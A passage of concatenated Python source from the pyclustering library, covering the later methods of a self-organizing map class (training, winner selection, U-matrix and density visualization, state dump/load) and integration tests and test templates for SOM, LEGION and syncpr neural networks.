node_row_index - 1 lower_row_index = node_row_index + 1 if (conn_type == type_conn.grid_eight) or (conn_type == type_conn.grid_four): if upper_index >= 0: self._neighbors[index].append(upper_index) if lower_index < self._size: self._neighbors[index].append(lower_index) if (conn_type == type_conn.grid_eight) or (conn_type == type_conn.grid_four) or ( conn_type == type_conn.honeycomb): if (left_index >= 0) and (math.floor(left_index / self._cols) == node_row_index): self._neighbors[index].append(left_index) if (right_index < self._size) and (math.floor(right_index / self._cols) == node_row_index): self._neighbors[index].append(right_index) if conn_type == type_conn.grid_eight: if (upper_left_index >= 0) and (math.floor(upper_left_index / self._cols) == upper_row_index): self._neighbors[index].append(upper_left_index) if (upper_right_index >= 0) and (math.floor(upper_right_index / self._cols) == upper_row_index): self._neighbors[index].append(upper_right_index) if (lower_left_index < self._size) and (math.floor(lower_left_index / self._cols) == lower_row_index): self._neighbors[index].append(lower_left_index) if (lower_right_index < self._size) and (math.floor(lower_right_index / self._cols) == lower_row_index): self._neighbors[index].append(lower_right_index) if conn_type == type_conn.honeycomb: if (node_row_index % 2) == 0: upper_left_index = index - self._cols upper_right_index = index - self._cols + 1 lower_left_index = index + self._cols lower_right_index = index + self._cols + 1 else: upper_left_index = index - self._cols - 1 upper_right_index = index - self._cols lower_left_index = index + self._cols - 1 lower_right_index = index + self._cols if (upper_left_index >= 0) and (math.floor(upper_left_index / self._cols) == upper_row_index): self._neighbors[index].append(upper_left_index) if (upper_right_index >= 0) and (math.floor(upper_right_index / self._cols) == upper_row_index): self._neighbors[index].append(upper_right_index) if (lower_left_index < self._size) and (math.floor(lower_left_index / self._cols) == lower_row_index): self._neighbors[index].append(lower_left_index) if (lower_right_index < self._size) and (math.floor(lower_right_index / self._cols) == lower_row_index): self._neighbors[index].append(lower_right_index) def _competition(self, x): """! @brief Calculates neuron winner (distance, neuron index). @param[in] x (list): Input pattern from the input data set, for example it can be coordinates of point. @return (uint) Returns index of neuron that is winner. """ index = 0 minimum = euclidean_distance_square(self._weights[0], x) for i in range(1, self._size, 1): candidate = euclidean_distance_square(self._weights[i], x) if candidate < minimum: index = i minimum = candidate return index def _adaptation(self, index, x): """! @brief Change weight of neurons in line with won neuron. @param[in] index (uint): Index of neuron-winner. @param[in] x (list): Input pattern from the input data set. """ dimension = len(self._weights[0]) if self._conn_type == type_conn.func_neighbor: for neuron_index in range(self._size): distance = self._sqrt_distances[index][neuron_index] if distance < self._local_radius: influence = math.exp(-(distance / (2.0 * self._local_radius))) for i in range(dimension): self._weights[neuron_index][i] = self._weights[neuron_index][ i] + self._learn_rate * influence * ( x[i] - self._weights[neuron_index][i]) else: for i in range(dimension): self._weights[index][i] = self._weights[index][i] + self._learn_rate * (x[i] - self._weights[index][i]) for neighbor_index in self._neighbors[index]: distance = self._sqrt_distances[index][neighbor_index] if distance < self._local_radius: influence = math.exp(-(distance / (2.0 * self._local_radius))) for i in range(dimension): self._weights[neighbor_index][i] = self._weights[neighbor_index][ i] + self._learn_rate * influence * ( x[i] - self._weights[neighbor_index][i]) def train(self, data, epochs, autostop=False): """! @brief Trains self-organized feature map (SOM). @param[in] data (list): Input data - list of points where each point is represented by list of features, for example coordinates. @param[in] epochs (uint): Number of epochs for training. @param[in] autostop (bool): Automatic termination of learning process when adaptation is not occurred. @return (uint) Number of learning iterations. """ self._data = data if self.__ccore_som_pointer is not None: return wrapper.som_train(self.__ccore_som_pointer, data, epochs, autostop) self._sqrt_distances = self.__initialize_distances(self._size, self._location) for i in range(self._size): self._award[i] = 0 self._capture_objects[i].clear() # weights self._create_initial_weights(self._params.init_type) previous_weights = None for epoch in range(1, epochs + 1): # Depression term of coupling self._local_radius = (self._params.init_radius * math.exp(-(epoch / epochs))) ** 2 self._learn_rate = self._params.init_learn_rate * math.exp(-(epoch / epochs)) # Clear statistics if autostop: for i in range(self._size): self._award[i] = 0 self._capture_objects[i].clear() for i in range(len(self._data)): # Step 1: Competition: index = self._competition(self._data[i]) # Step 2: Adaptation: self._adaptation(index, self._data[i]) # Update statistics if (autostop is True) or (epoch == epochs): self._award[index] += 1 self._capture_objects[index].append(i) # Check requirement of stopping if autostop: if previous_weights is not None: maximal_adaptation = self._get_maximal_adaptation(previous_weights) if maximal_adaptation < self._params.adaptation_threshold: return epoch previous_weights = [item[:] for item in self._weights] return epochs def simulate(self, input_pattern): """! @brief Processes input pattern (no learining) and returns index of neuron-winner. Using index of neuron winner catched object can be obtained using property capture_objects. @param[in] input_pattern (list): Input pattern. @return (uint) Returns index of neuron-winner. @see capture_objects """ if self.__ccore_som_pointer is not None: return wrapper.som_simulate(self.__ccore_som_pointer, input_pattern) return self._competition(input_pattern) def _get_maximal_adaptation(self, previous_weights): """! @brief Calculates maximum changes of weight in line with comparison between previous weights and current weights. @param[in] previous_weights (list): Weights from the previous step of learning process. @return (double) Value that represents maximum changes of weight after adaptation process. """ dimension = len(self._data[0]) maximal_adaptation = 0.0 for neuron_index in range(self._size): for dim in range(dimension): current_adaptation = previous_weights[neuron_index][dim] - self._weights[neuron_index][dim] if current_adaptation < 0: current_adaptation = -current_adaptation if maximal_adaptation < current_adaptation: maximal_adaptation = current_adaptation return maximal_adaptation def get_winner_number(self): """! @brief Calculates number of winner at the last step of learning process. @return (uint) Number of winner. """ if self.__ccore_som_pointer is not None: self._award = wrapper.som_get_awards(self.__ccore_som_pointer) winner_number = 0 for i in range(self._size): if self._award[i] > 0: winner_number += 1 return winner_number def show_distance_matrix(self): """! @brief Shows gray visualization of U-matrix (distance matrix). @see get_distance_matrix() """ distance_matrix = self.get_distance_matrix() plt.imshow(distance_matrix, cmap=plt.get_cmap('hot'), interpolation='kaiser') plt.title("U-Matrix") plt.colorbar() plt.show() def get_distance_matrix(self): """! @brief Calculates distance matrix (U-matrix). @details The U-Matrix visualizes based on the distance in input space between a weight vector and its neighbors on map. @return (list) Distance matrix (U-matrix). @see show_distance_matrix() @see get_density_matrix() """ if self.__ccore_som_pointer is not None: self._weights = wrapper.som_get_weights(self.__ccore_som_pointer) if self._conn_type != type_conn.func_neighbor: self._neighbors = wrapper.som_get_neighbors(self.__ccore_som_pointer) distance_matrix = [[0.0] * self._cols for i in range(self._rows)] for i in range(self._rows): for j in range(self._cols): neuron_index = i * self._cols + j if self._conn_type == type_conn.func_neighbor: self._create_connections(type_conn.grid_eight) for neighbor_index in self._neighbors[neuron_index]: distance_matrix[i][j] += euclidean_distance_square(self._weights[neuron_index], self._weights[neighbor_index]) distance_matrix[i][j] /= len(self._neighbors[neuron_index]) return distance_matrix def show_density_matrix(self, surface_divider=20.0): """! @brief Show density matrix (P-matrix) using kernel density estimation. @param[in] surface_divider (double): Divider in each dimension that affect radius for density measurement. @see show_distance_matrix() """ density_matrix = self.get_density_matrix(surface_divider) plt.imshow(density_matrix, cmap=plt.get_cmap('hot'), interpolation='kaiser') plt.title("P-Matrix") plt.colorbar() plt.show() def get_density_matrix(self, surface_divider=20.0): """! @brief Calculates density matrix (P-Matrix). @param[in] surface_divider (double): Divider in each dimension that affect radius for density measurement. @return (list) Density matrix (P-Matrix). @see get_distance_matrix() """ if self.__ccore_som_pointer is not None: self._weights = wrapper.som_get_weights(self.__ccore_som_pointer) density_matrix = [[0] * self._cols for i in range(self._rows)] dimension = len(self._weights[0]) dim_max = [float('-Inf')] * dimension dim_min = [float('Inf')] * dimension for weight in self._weights: for index_dim in range(dimension): if weight[index_dim] > dim_max[index_dim]: dim_max[index_dim] = weight[index_dim] if weight[index_dim] < dim_min[index_dim]: dim_min[index_dim] = weight[index_dim] radius = [0.0] * len(self._weights[0]) for index_dim in range(dimension): radius[index_dim] = (dim_max[index_dim] - dim_min[index_dim]) / surface_divider ## TODO: do not use data for point in self._data: for index_neuron in range(len(self)): point_covered = True for index_dim in range(dimension): if abs(point[index_dim] - self._weights[index_neuron][index_dim]) > radius[index_dim]: point_covered = False break row = int(math.floor(index_neuron / self._cols)) col = index_neuron - row * self._cols if point_covered is True: density_matrix[row][col] += 1 return density_matrix def show_winner_matrix(self): """! @brief Show a winner matrix where each element corresponds to neuron and value represents amount of won objects from input data-space at the last training iteration. @see show_distance_matrix() """ if self.__ccore_som_pointer is not None: self._award = wrapper.som_get_awards(self.__ccore_som_pointer) (fig, ax) = plt.subplots() winner_matrix = [[0] * self._cols for _ in range(self._rows)] for i in range(self._rows): for j in range(self._cols): neuron_index = i * self._cols + j winner_matrix[i][j] = self._award[neuron_index] ax.text(i, j, str(winner_matrix[i][j]), va='center', ha='center') ax.imshow(winner_matrix, cmap=plt.get_cmap('cool'), interpolation='none') ax.grid(True) plt.title("Winner Matrix") plt.show() plt.close(fig) def show_network(self, awards=False, belongs=False, coupling=True, dataset=True, marker_type='o'): """! @brief Shows neurons in the dimension of data. @param[in] awards (bool): If True - displays how many objects won each neuron. @param[in] belongs (bool): If True - marks each won object by according index of neuron-winner (only when dataset is displayed too). @param[in] coupling (bool): If True - displays connections between neurons (except case when function neighbor is used). @param[in] dataset (bool): If True - displays inputs data set. @param[in] marker_type (string): Defines marker that is used to denote neurons on the plot. """ if self.__ccore_som_pointer is not None: self._size = wrapper.som_get_size(self.__ccore_som_pointer) self._weights = wrapper.som_get_weights(self.__ccore_som_pointer) self._neighbors = wrapper.som_get_neighbors(self.__ccore_som_pointer) self._award = wrapper.som_get_awards(self.__ccore_som_pointer) dimension = len(self._weights[0]) fig = plt.figure() # Check for dimensions if (dimension == 1) or (dimension == 2): axes = fig.add_subplot(111) elif dimension == 3: axes = fig.gca(projection='3d') else: raise NotImplementedError('Impossible to show network in data-space that is differ from 1D, 2D or 3D.') if (self._data is not None) and (dataset is True): for x in self._data: if dimension == 1: axes.plot(x[0], 0.0, 'b|', ms=30) elif dimension == 2: axes.plot(x[0], x[1], 'b.') elif dimension == 3: axes.scatter(x[0], x[1], x[2], c='b', marker='.') # Show neurons for index in range(self._size): color = 'g' if self._award[index] == 0: color = 'y' if dimension == 1: axes.plot(self._weights[index][0], 0.0, color + marker_type) if awards: location = '{0}'.format(self._award[index]) axes.text(self._weights[index][0], 0.0, location, color='black', fontsize=10) if belongs and self._data is not None: location = '{0}'.format(index) axes.text(self._weights[index][0], 0.0, location, color='black', fontsize=12) for k in range(len(self._capture_objects[index])): point = self._data[self._capture_objects[index][k]] axes.text(point[0], 0.0, location, color='blue', fontsize=10) if dimension == 2: axes.plot(self._weights[index][0], self._weights[index][1], color + marker_type) if awards: location = '{0}'.format(self._award[index]) axes.text(self._weights[index][0], self._weights[index][1], location, color='black', fontsize=10) if belongs and self._data is not None: location = '{0}'.format(index) axes.text(self._weights[index][0], self._weights[index][1], location, color='black', fontsize=12) for k in range(len(self._capture_objects[index])): point = self._data[self._capture_objects[index][k]] axes.text(point[0], point[1], location, color='blue', fontsize=10) if (self._conn_type != type_conn.func_neighbor) and (coupling is True): for neighbor in self._neighbors[index]: if neighbor > index: axes.plot([self._weights[index][0], self._weights[neighbor][0]], [self._weights[index][1], self._weights[neighbor][1]], 'g', linewidth=0.5) elif dimension == 3: axes.scatter(self._weights[index][0], self._weights[index][1], self._weights[index][2], c=color, marker=marker_type) if (self._conn_type != type_conn.func_neighbor) and (coupling != False): for neighbor in self._neighbors[index]: if neighbor > index: axes.plot([self._weights[index][0], self._weights[neighbor][0]], [self._weights[index][1], self._weights[neighbor][1]], [self._weights[index][2], self._weights[neighbor][2]], 'g-', linewidth=0.5) plt.title("Network Structure") plt.grid() plt.show() plt.close(fig) def __get_dump_from_python(self, ccore_usage): return {'ccore': ccore_usage, 'state': {'cols': self._cols, 'rows': self._rows, 'size': self._size, 'conn_type': self._conn_type, 'neighbors': self._neighbors, 'local_radius': self._local_radius, 'learn_rate': self._learn_rate, 'params': self._params, 'location': self._location, 'weights': self._weights, 'award': self._award, 'capture_objects': self._capture_objects}} def __download_dump_from_ccore(self): self._location = self.__initialize_locations(self._rows, self._cols) self._weights = wrapper.som_get_weights(self.__ccore_som_pointer) self._award = wrapper.som_get_awards(self.__ccore_som_pointer) self._capture_objects = wrapper.som_get_capture_objects(self.__ccore_som_pointer) def __upload_common_part(self, state_dump): self._cols = state_dump['cols'] self._rows = state_dump['rows'] self._size = state_dump['size'] self._conn_type = state_dump['conn_type'] self._neighbors = state_dump['neighbors'] self._local_radius = state_dump['local_radius'] self._learn_rate = state_dump['learn_rate'] self._params = state_dump['params'] self._neighbors = None def __upload_dump_to_python(self, state_dump): self.__ccore_som_pointer = None self.__upload_common_part(state_dump) self._location = state_dump['location'] self._weights = state_dump['weights'] self._award = state_dump['award'] self._capture_objects = state_dump['capture_objects'] self._location = self.__initialize_locations(self._rows, self._cols) self._create_connections(self._conn_type) def __upload_dump_to_ccore(self, state_dump): self.__upload_common_part(state_dump) self.__ccore_som_pointer = wrapper.som_create(self._rows, self._cols, self._conn_type, self._params) wrapper.som_load(self.__ccore_som_pointer, state_dump['weights'], state_dump['award'], state_dump['capture_objects']) ``` #### File: tests/integration/__init__.py ```python import unittest from pyclustering.tests.suite_holder import suite_holder # Generate images without having a window appear. import matplotlib matplotlib.use('Agg') from pyclustering.nnet.tests.integration import it_hhn as nnet_hhn_integration_tests from pyclustering.nnet.tests.integration import it_legion as nnet_legion_integration_tests from pyclustering.nnet.tests.integration import it_pcnn as nnet_pcnn_integration_tests from pyclustering.nnet.tests.integration import it_som as nnet_som_integration_tests from pyclustering.nnet.tests.integration import it_sync as nnet_sync_integration_tests from pyclustering.nnet.tests.integration import it_syncpr as nnet_syncpr_integration_tests from pyclustering.nnet.tests.integration import it_syncsegm as nnet_syncsegm_integration_tests class nnet_integration_tests(suite_holder): def __init__(self): super().__init__() nnet_integration_tests.fill_suite(self.get_suite()) @staticmethod def fill_suite(integration_nnet_suite): integration_nnet_suite.addTests(unittest.TestLoader().loadTestsFromModule(nnet_hhn_integration_tests)) integration_nnet_suite.addTests(unittest.TestLoader().loadTestsFromModule(nnet_legion_integration_tests)) integration_nnet_suite.addTests(unittest.TestLoader().loadTestsFromModule(nnet_pcnn_integration_tests)) integration_nnet_suite.addTests(unittest.TestLoader().loadTestsFromModule(nnet_som_integration_tests)) integration_nnet_suite.addTests(unittest.TestLoader().loadTestsFromModule(nnet_sync_integration_tests)) integration_nnet_suite.addTests(unittest.TestLoader().loadTestsFromModule(nnet_syncpr_integration_tests)) integration_nnet_suite.addTests(unittest.TestLoader().loadTestsFromModule(nnet_syncsegm_integration_tests)) ``` #### File: tests/integration/it_som.py ```python import unittest # Generate images without having a window appear. import matplotlib matplotlib.use('Agg') from pyclustering.nnet.tests.som_templates import SomTestTemplates from pyclustering.nnet.som import som, type_conn, type_init, som_parameters from pyclustering.utils import read_sample from pyclustering.samples.definitions import SIMPLE_SAMPLES, FCPS_SAMPLES from pyclustering.core.tests import remove_library class SomIntegrationTest(unittest.TestCase): def testTwoNeuronsTwoClustersByCore(self): SomTestTemplates.templateTestAwardNeurons(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 1, 2, 100, [5, 5], False, True) SomTestTemplates.templateTestAwardNeurons(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 2, 1, 100, [5, 5], False, True) def testTwoNeuronsTwoClustersByCoreStoreLoad(self): SomTestTemplates.templateTestAwardNeurons(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 1, 2, 100, [5, 5], False, True, store_load=True) SomTestTemplates.templateTestAwardNeurons(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 2, 1, 100, [5, 5], False, True, store_load=True) def testAutostopTwoNeuronsTwoClustersByCore(self): SomTestTemplates.templateTestAwardNeurons(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 1, 2, 100, [5, 5], True, True) SomTestTemplates.templateTestAwardNeurons(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 2, 1, 100, [5, 5], True, True) def testAutostopTwoNeuronsTwoClustersByCoreStoreLoad(self): SomTestTemplates.templateTestAwardNeurons(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 1, 2, 100, [5, 5], True, True, store_load=True) SomTestTemplates.templateTestAwardNeurons(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 2, 1, 100, [5, 5], True, True, store_load=True) def testThreeNeuronsThreeClustersByCore(self): SomTestTemplates.templateTestAwardNeurons(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, 1, 3, 100, [5, 8, 10], False, True) SomTestTemplates.templateTestAwardNeurons(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, 3, 1, 100, [5, 8, 10], False, True) def testAutostopThreeNeuronsThreeClustersByCore(self): SomTestTemplates.templateTestAwardNeurons(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, 1, 3, 100, [5, 8, 10], True, True) SomTestTemplates.templateTestAwardNeurons(SIMPLE_SAMPLES.SAMPLE_SIMPLE2, 3, 1, 100, [5, 8, 10], True, True) def testFourNeuronsFourClustersByCore(self): SomTestTemplates.templateTestAwardNeurons(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, 1, 4, 100, [10, 10, 10, 30], False, True) SomTestTemplates.templateTestAwardNeurons(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, 2, 2, 100, [10, 10, 10, 30], False, True) def testAutostopFourNeuronsFourClustersByCore(self): SomTestTemplates.templateTestAwardNeurons(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, 1, 4, 100, [10, 10, 10, 30], True, True) SomTestTemplates.templateTestAwardNeurons(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, 2, 2, 100, [10, 10, 10, 30], True, True) def testTwoNeuronsFourClustersByCore(self): SomTestTemplates.templateTestAwardNeurons(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, 1, 2, 100, [30, 30], False, True) def testAutostopTwoNeuronsFourClustersByCore(self): SomTestTemplates.templateTestAwardNeurons(SIMPLE_SAMPLES.SAMPLE_SIMPLE3, 1, 2, 100, [30, 30], True, True) def testSevenNeuronsHeptaClustersByCore(self): SomTestTemplates.templateTestAwardNeurons(FCPS_SAMPLES.SAMPLE_HEPTA, 1, 7, 100, [30, 30, 30, 30, 30, 30, 32], False, True) def testAutostopSevenNeuronsHeptaClustersByCore(self): SomTestTemplates.templateTestAwardNeurons(FCPS_SAMPLES.SAMPLE_HEPTA, 1, 7, 100, [30, 30, 30, 30, 30, 30, 32], True, True) def testFourNeuronsTetraClustersByCore(self): SomTestTemplates.templateTestAwardNeurons(FCPS_SAMPLES.SAMPLE_TETRA, 1, 4, 100, [100, 100, 100, 100], False, True) def testAutostopFourNeuronsTetraClustersByCore(self): SomTestTemplates.templateTestAwardNeurons(FCPS_SAMPLES.SAMPLE_TETRA, 1, 4, 100, [100, 100, 100, 100], True, True) def testTwoNeuronsTwoDiamondsClustersByCore(self): SomTestTemplates.templateTestAwardNeurons(FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS, 1, 2, 100, [400, 400], False, True) def testAutostopTwoNeuronsTwoDiamondsClustersByCore(self): SomTestTemplates.templateTestAwardNeurons(FCPS_SAMPLES.SAMPLE_TWO_DIAMONDS, 1, 2, 100, [400, 400], True, True) def testFiveNeuronsFiveClustersByCore(self): SomTestTemplates.templateTestAwardNeurons(SIMPLE_SAMPLES.SAMPLE_SIMPLE4, 1, 5, 100, [15, 15, 15, 15, 15], False, True) def testAutostopFiveNeuronsFiveClustersByCore(self): SomTestTemplates.templateTestAwardNeurons(SIMPLE_SAMPLES.SAMPLE_SIMPLE4, 1, 5, 100, [15, 15, 15, 15, 15], True, True) def testFourNeuronsSquareClustersByCore(self): SomTestTemplates.templateTestAwardNeurons(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, 2, 2, 100, [15, 15, 15, 15], False, True) SomTestTemplates.templateTestAwardNeurons(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, 1, 4, 100, [15, 15, 15, 15], False, True) def testAutostopFourNeuronsSquareClustersByCore(self): SomTestTemplates.templateTestAwardNeurons(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, 2, 2, 100, [15, 15, 15, 15], True, True) SomTestTemplates.templateTestAwardNeurons(SIMPLE_SAMPLES.SAMPLE_SIMPLE5, 1, 4, 100, [15, 15, 15, 15], True, True) def testOneDimensionSampleSimple7ClusterByCore(self): parameters = som_parameters() parameters.init_type = type_init.random_surface SomTestTemplates.templateTestAwardNeurons(SIMPLE_SAMPLES.SAMPLE_SIMPLE7, 2, 1, 100, [10, 10], True, True, parameters) def testWinnersByCore(self): SomTestTemplates.templateTestWinners(True) def testSomVisualizationByCore(self): sample = read_sample(SIMPLE_SAMPLES.SAMPLE_SIMPLE4) parameters = som_parameters() network = som(5, 5, type_conn.grid_eight, parameters, ccore = True) network.train(sample, 100, True) network.show_network() network.show_winner_matrix() network.show_distance_matrix() network.show_density_matrix() def testSimulateCheckWinnerFuncNeighborByCore(self): SomTestTemplates.templateTestSimulate(type_conn.func_neighbor, True) def testSimulateCheckWinnerFuncNeighborByCoreStoreLoad(self): SomTestTemplates.templateTestSimulate(type_conn.func_neighbor, True, store_load=True) def testSimulateCheckWinnerGridFourByCore(self): SomTestTemplates.templateTestSimulate(type_conn.grid_four, True) def testSimulateCheckWinnerGridFourByCoreStoreLoad(self): SomTestTemplates.templateTestSimulate(type_conn.grid_four, True, store_load=True) def testSimulateCheckWinnerGridEightByCore(self): SomTestTemplates.templateTestSimulate(type_conn.grid_eight, True) def testSimulateCheckWinnerGridEightByCoreStoreLoad(self): SomTestTemplates.templateTestSimulate(type_conn.grid_eight, True, store_load=True) def testSimulateCheckWinnerHoneycombByCore(self): SomTestTemplates.templateTestSimulate(type_conn.honeycomb, True) def testSimulateCheckWinnerHoneycombByCoreStoreLoad(self): SomTestTemplates.templateTestSimulate(type_conn.honeycomb, True, store_load=True) def testNetwork2x2RandomState5ByCore(self): SomTestTemplates.random_state(2, 2, type_conn.honeycomb, 5, True) def testNetwork2x2RandomState5FuncNeighborByCore(self): SomTestTemplates.random_state(2, 2, type_conn.func_neighbor, 5, True) def testNetwork2x2RandomState10ByCore(self): SomTestTemplates.random_state(2, 2, type_conn.honeycomb, 10, True) def testNetwork2x2RandomState10FuncNeighborByCore(self): SomTestTemplates.random_state(2, 2, type_conn.func_neighbor, 10, True) def testNetwork2x3RandomState5ByCore(self): SomTestTemplates.random_state(2, 3, type_conn.honeycomb, 5, True) def testNetwork2x3RandomState10ByCore(self): SomTestTemplates.random_state(2, 3, type_conn.honeycomb, 10, True) def testNetwork1x8RandomState5ByCore(self): SomTestTemplates.random_state(1, 8, type_conn.honeycomb, 5, True) def testNetwork1x8RandomState10ByCore(self): SomTestTemplates.random_state(1, 8, type_conn.honeycomb, 10, True) def testNetwork1x8GridFourByCore(self): SomTestTemplates.random_state(1, 8, type_conn.grid_four, 5, True) SomTestTemplates.random_state(8, 1, type_conn.grid_four, 5, True) def testNetwork1x8GridEightByCore(self): SomTestTemplates.random_state(1, 8, type_conn.grid_eight, 5, True) SomTestTemplates.random_state(8, 1, type_conn.grid_eight, 5, True) def testNetwork1x8FuncNeughborByCore(self): SomTestTemplates.random_state(1, 8, type_conn.func_neighbor, 5, True) SomTestTemplates.random_state(8, 1, type_conn.func_neighbor, 5, True) def testProcessingWhenLibraryCoreRemoved(self): self.runRemovedLibraryCoreTest() @remove_library def runRemovedLibraryCoreTest(self): SomTestTemplates.templateTestAwardNeurons(SIMPLE_SAMPLES.SAMPLE_SIMPLE1, 1, 2, 100, [5, 5], False, True) ``` #### File: nnet/tests/legion_templates.py ```python from pyclustering.nnet.legion import legion_network; from pyclustering.nnet import conn_type; from pyclustering.utils import extract_number_oscillations; class LegionTestTemplates: @staticmethod def templateOscillationsWithStructures(type_conn, ccore_flag): net = legion_network(4, type_conn = conn_type.LIST_BIDIR, ccore = ccore_flag); dynamic = net.simulate(500, 1000, [1, 1, 1, 1]); for i in range(len(net)): assert extract_number_oscillations(dynamic.output, i) > 1; @staticmethod def templateSyncEnsembleAllocation(stimulus, params, type_conn, sim_steps, sim_time, expected_clusters, ccore_flag): result_testing = False; for _ in range(0, 5, 1): net = legion_network(len(stimulus), params, type_conn, ccore = ccore_flag); dynamic = net.simulate(sim_steps, sim_time, stimulus); ensembles = dynamic.allocate_sync_ensembles(0.1); if (ensembles != expected_clusters): continue; result_testing = True; break; assert result_testing; @staticmethod def templateOutputDynamicInformation(stimulus, params, type_conn, sim_steps, sim_time, ccore_flag): legion_instance = legion_network(len(stimulus), params, type_conn, ccore = ccore_flag); dynamic = legion_instance.simulate(sim_steps, sim_time, stimulus); assert len(dynamic.output) > 0; assert len(dynamic.inhibitor) > 0; assert len(dynamic.time) > 0; ``` #### File: nnet/tests/syncpr_templates.py ```python import matplotlib; matplotlib.use('Agg'); from pyclustering.nnet import solve_type; from pyclustering.nnet.syncpr import syncpr, syncpr_visualizer; class SyncprTestTemplates: @staticmethod def templateOutputDynamic(solver, ccore): net = syncpr(5, 0.1, 0.1, ccore); output_dynamic = net.simulate(10, 10, [-1, 1, -1, 1, -1], solver, True); assert len(output_dynamic) == 11; # 10 steps without initial values. @staticmethod def templateOutputDynamicLengthStaticSimulation(collect_flag, ccore_flag): net = syncpr(5, 0.1, 0.1, ccore_flag); output_dynamic = net.simulate_static(10, 10, [-1, 1, -1, 1, -1], solution = solve_type.FAST, collect_dynamic = collect_flag); if (collect_flag is True): assert len(output_dynamic) == 11; # 10 steps without initial values. else: assert len(output_dynamic) == 1; @staticmethod def templateOutputDynamicLengthDynamicSimulation(collect_flag, ccore_flag): net = syncpr(5, 0.1, 0.1, ccore_flag); output_dynamic = net.simulate_dynamic([-1, 1, -1, 1, -1], solution = solve_type.FAST, collect_dynamic = collect_flag); if (collect_flag is True): assert len(output_dynamic) > 1; else: assert len(output_dynamic) == 1; @staticmethod def templateIncorrectPatternForSimulation(pattern, ccore_flag): net = syncpr(10, 0.1, 0.1, ccore=ccore_flag); try: net.simulate(10, 10, pattern); except: return; assert False; @staticmethod def templateTrainNetworkAndRecognizePattern(ccore_flag): net = syncpr(10, 0.1, 0.1, ccore_flag); patterns = []; patterns += [ [1, 1, 1, 1, 1, -1, -1, -1, -1, -1] ]; patterns += [ [-1, -1, -1, -1, -1, 1, 1, 1, 1, 1] ]; net.train(patterns); # recognize it for i in range(len(patterns)): output_dynamic = net.simulate(10, 10, patterns[i], solve_type.RK4, True); ensembles = output_dynamic.allocate_sync_ensembles(0.5); assert len(ensembles) == 2; assert len(ensembles[0]) == len(ensembles[1]); # sort results ensembles[0].sort(); ensembles[1].sort(); assert (ensembles[0] == [0, 1, 2, 3, 4]) or (ensembles[0] == [5, 6, 7, 8, 9]); assert (ensembles[1] == [0, 1, 2, 3, 4]) or (ensembles[1] == [5, 6, 7, 8, 9]); @staticmethod def templateIncorrectPatternForTraining(patterns, ccore_flag): net = syncpr(10, 0.1, 0.1, ccore_flag); try: net.train(patterns); except: return; assert False; @staticmethod def templatePatternVisualizer(collect_dynamic, ccore_flag = False): net = syncpr(5, 0.1, 0.1, ccore = ccore_flag); output_dynamic = net.simulate(10, 10, [-1, 1, -1, 1, -1], solve_type.RK4, collect_dynamic); syncpr_visualizer.show_pattern(output_dynamic, 5, 2); syncpr_visualizer.animate_pattern_recognition(output_dynamic, 1, 5); @staticmethod def templateMemoryOrder(ccore_flag): net = syncpr(10, 0.1, 0.1, ccore_flag); patterns = []; patterns += [ [1, 1, 1, 1, 1, -1, -1, -1, -1, -1] ]; patterns += [ [-1, -1, -1, -1, -1, 1, 1, 1, 1, 1] ]; net.train(patterns); assert net.memory_order(patterns[0]) < 0.8; assert net.memory_order(patterns[1]) < 0.8; for pattern in patterns: net.simulate(20, 10, pattern, solve_type.RK4); memory_order = net.memory_order(pattern); assert (memory_order > 0.95) and (memory_order <= 1.000005); @staticmethod def templateStaticSimulation(ccore_falg): net = syncpr(10, 0.1, 0.1, ccore_falg); patterns = []; patterns += [ [1, 1, 1, 1, 1, -1, -1, -1, -1, -1] ]; patterns += [ [-1, -1, -1, -1, -1, 1, 1, 1, 1, 1] ]; net.train(patterns); net.simulate_static(20, 10, patterns[0], solve_type.RK4); memory_order = net.memory_order(patterns[0]); assert (memory_order > 0.95) and (memory_order <= 1.000005); @staticmethod def templateDynamicSimulation(ccore_flag): net = syncpr(10, 0.1, 0.1, ccore_flag); patterns = []; patterns += [ [1, 1, 1, 1, 1, -1, -1, -1, -1, -1] ]; patterns += [ [-1, -1, -1, -1, -1, 1, 1, 1, 1, 1] ]; net.train(patterns); net.simulate_dynamic(patterns[0], order = 0.998, solution = solve_type.RK4); memory_order = net.memory_order(patterns[0]); assert (memory_order > 0.998) and (memory_order <= 1.0); @staticmethod def templateGlobalSyncOrder(ccore_flag): net = syncpr(10, 0.1, 0.1, ccore_flag); patterns = [ [1, 1, 1, 1, 1, -1, -1, -1, -1, -1] ]; patterns += [ [-1, -1, -1, -1, -1, 1, 1, 1, 1, 1] ]; global_sync_order = net.sync_order(); assert (global_sync_order < 1.0) and (global_sync_order > 0.0); net.train(patterns); global_sync_order = net.sync_order(); assert (global_sync_order < 1.0) and (global_sync_order > 0.0); @staticmethod def templateLocalSyncOrder(ccore_flag): net = syncpr(10, 0.1, 0.1, ccore_flag); patterns = [ [1, 1, 1, 1, 1, -1, -1, -1, -1, -1] ]; patterns += [ [-1, -1, -1, -1, -1, 1, 1, 1, 1, 1] ]; local_sync_order = net.sync_local_order(); assert (local_sync_order < 1.0) and (local_sync_order > 0.0); net.train(patterns); local_sync_order = net.sync_local_order(); assert (local_sync_order < 1.0) and (local_sync_order > 0.0); @staticmethod def templateIncorrectPatternValues(ccore_flag): patterns = []; patterns += [ [2, 1, 1, 1, 1, -1, -1, -1, -1, -1] ]; patterns += [ [-1, -2, -1, -1, -1, 1, 1, 1, 1, 1] ]; SyncprTestTemplates.templateIncorrectPatternForTraining(patterns, ccore_flag); ``` #### File: 